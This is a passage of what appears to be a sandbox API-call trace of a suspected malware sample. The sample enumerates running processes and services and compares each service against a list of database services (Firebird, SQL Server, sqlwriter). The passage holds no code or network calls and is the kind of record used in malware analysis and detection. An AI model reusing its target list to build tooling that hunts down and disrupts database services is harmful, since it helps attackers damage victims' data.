th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0164.847] lstrlenW (lpString="lsass.exe") returned 9 [0164.847] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0164.847] lstrlenW (lpString="lsm.exe") returned 7 [0164.847] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.847] lstrlenW (lpString="svchost.exe") returned 11 [0164.847] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.848] lstrlenW (lpString="svchost.exe") returned 11 [0164.848] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.848] lstrlenW (lpString="svchost.exe") returned 11 [0164.848] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.848] lstrlenW (lpString="svchost.exe") returned 11 [0164.848] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.849] lstrlenW (lpString="svchost.exe") returned 11 [0164.849] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0164.849] lstrlenW (lpString="audiodg.exe") returned 11 [0164.849] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.849] lstrlenW (lpString="svchost.exe") returned 11 [0164.849] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0164.850] lstrlenW (lpString="explorer.exe") returned 12 [0164.850] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0164.850] lstrlenW (lpString="dwm.exe") returned 7 [0164.850] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.850] lstrlenW (lpString="svchost.exe") returned 11 [0164.850] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x138, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe")) returned 1 [0164.851] lstrlenW (lpString="dttcodexgigas.4f69bcddc711da231e27b9346c711b2ad52d6c2b.exe") returned 58 [0164.851] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x514, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0164.851] lstrlenW (lpString="spoolsv.exe") returned 11 [0164.851] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0164.851] lstrlenW (lpString="reader_sl.exe") returned 13 [0164.851] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0164.851] lstrlenW (lpString="svchost.exe") returned 11 [0164.851] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0164.852] lstrlenW (lpString="taskhost.exe") returned 12 [0164.852] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0164.852] lstrlenW (lpString="dllhost.exe") returned 11 [0164.852] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1d0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0164.852] lstrlenW (lpString="taskhost.exe") returned 12 [0164.852] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0164.853] lstrlenW (lpString="consent.exe") returned 11 [0164.853] Process32NextW (in: hSnapshot=0x3d0, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0164.853] CloseHandle (hObject=0x3d0) returned 1 [0164.853] Sleep (dwMilliseconds=0x1f4) [0165.408] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x4293dd0 [0165.409] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0165.410] GetLastError () returned 0xea [0165.410] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x4285088 [0165.410] EnumServicesStatusExW (in: hSCManager=0x4293dd0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4285088, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4285088, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0165.411] CloseServiceHandle (hSCObject=0x4293dd0) returned 1 [0165.411] lstrlenW (lpString="Appinfo") returned 7 [0165.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0165.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0165.411] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0165.411] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0165.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0165.411] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0165.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0165.411] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0165.411] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0165.411] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0165.411] lstrlenW (lpString="AudioSrv") returned 8 [0165.411] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0165.411] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0165.412] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0165.412] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0165.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0165.412] lstrlenW (lpString="BFE") returned 3 [0165.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0165.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0165.412] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0165.412] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0165.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0165.412] lstrlenW (lpString="CryptSvc") returned 8 [0165.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0165.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0165.412] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0165.412] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0165.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0165.412] lstrlenW (lpString="CscService") returned 10 [0165.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0165.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0165.412] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0165.412] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0165.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0165.412] lstrlenW (lpString="DcomLaunch") returned 10 [0165.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0165.412] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0165.412] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0165.412] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0165.412] lstrlenW (lpString="Dhcp") returned 4 [0165.412] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0165.412] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0165.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0165.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0165.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0165.413] lstrlenW (lpString="Dnscache") returned 8 [0165.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0165.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0165.413] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0165.413] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0165.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0165.413] lstrlenW (lpString="DPS") returned 3 [0165.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0165.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0165.413] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0165.413] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0165.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0165.413] lstrlenW (lpString="eventlog") returned 8 [0165.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0165.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0165.413] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0165.413] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0165.413] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0165.413] lstrlenW (lpString="EventSystem") returned 11 [0165.413] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0165.413] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0165.413] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0165.414] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0165.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0165.414] lstrlenW (lpString="gpsvc") returned 5 [0165.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0165.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0165.414] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0165.414] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0165.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0165.415] lstrlenW (lpString="iphlpsvc") returned 8 [0165.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0165.415] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0165.415] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0165.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0165.415] lstrlenW (lpString="LanmanServer") returned 12 [0165.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0165.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0165.415] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0165.415] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0165.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0165.415] lstrlenW (lpString="LanmanWorkstation") returned 17 [0165.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0165.415] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0165.415] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0165.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0165.415] lstrlenW (lpString="lmhosts") returned 7 [0165.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0165.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0165.415] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0165.415] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0165.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0165.415] lstrlenW (lpString="MMCSS") returned 5 [0165.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0165.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0165.416] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0165.416] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0165.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0165.416] lstrlenW (lpString="MpsSvc") returned 6 [0165.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0165.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0165.416] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0165.416] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0165.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0165.416] lstrlenW (lpString="Netman") returned 6 [0165.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0165.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0165.416] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0165.416] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0165.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0165.416] lstrlenW (lpString="netprofm") returned 8 [0165.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0165.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0165.417] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0165.417] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0165.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0165.417] lstrlenW (lpString="NlaSvc") returned 6 [0165.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0165.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0165.417] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0165.417] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0165.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0165.417] lstrlenW (lpString="nsi") returned 3 [0165.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0165.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0165.417] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0165.417] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0165.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0165.417] lstrlenW (lpString="PcaSvc") returned 6 [0165.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0165.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0165.417] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0165.417] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0165.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0165.418] lstrlenW (lpString="PlugPlay") returned 8 [0165.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0165.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0165.418] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0165.418] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0165.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0165.418] lstrlenW (lpString="Power") returned 5 [0165.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0165.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0165.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0165.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0165.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0165.418] lstrlenW (lpString="ProfSvc") returned 7 [0165.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0165.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0165.418] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0165.418] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0165.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0165.418] lstrlenW (lpString="RpcEptMapper") returned 12 [0165.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0165.418] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0165.418] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0165.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0165.419] lstrlenW (lpString="RpcSs") returned 5 [0165.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0165.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0165.419] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0165.419] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0165.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0165.419] lstrlenW (lpString="SamSs") returned 5 [0165.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0165.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0165.419] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0165.419] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0165.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0165.419] lstrlenW (lpString="Schedule") returned 8 [0165.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0165.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0165.419] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0165.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0165.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0165.419] lstrlenW (lpString="SENS") returned 4 [0165.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0165.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0165.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0165.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0165.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0165.420] lstrlenW (lpString="ShellHWDetection") returned 16 [0165.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0165.420] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0165.420] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0165.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0165.420] lstrlenW (lpString="Spooler") returned 7 [0165.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0165.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0165.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0165.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0165.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0165.420] lstrlenW (lpString="SysMain") returned 7 [0165.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0165.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0165.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0165.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0165.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0165.420] lstrlenW (lpString="Themes") returned 6 [0165.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0165.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0165.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0165.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0165.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0165.421] lstrlenW (lpString="TrkWks") returned 6 [0165.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0165.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0165.421] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0165.421] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0165.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0165.421] lstrlenW (lpString="UxSms") returned 5 [0165.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0165.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0165.421] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0165.421] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0165.421] lstrcmpiW 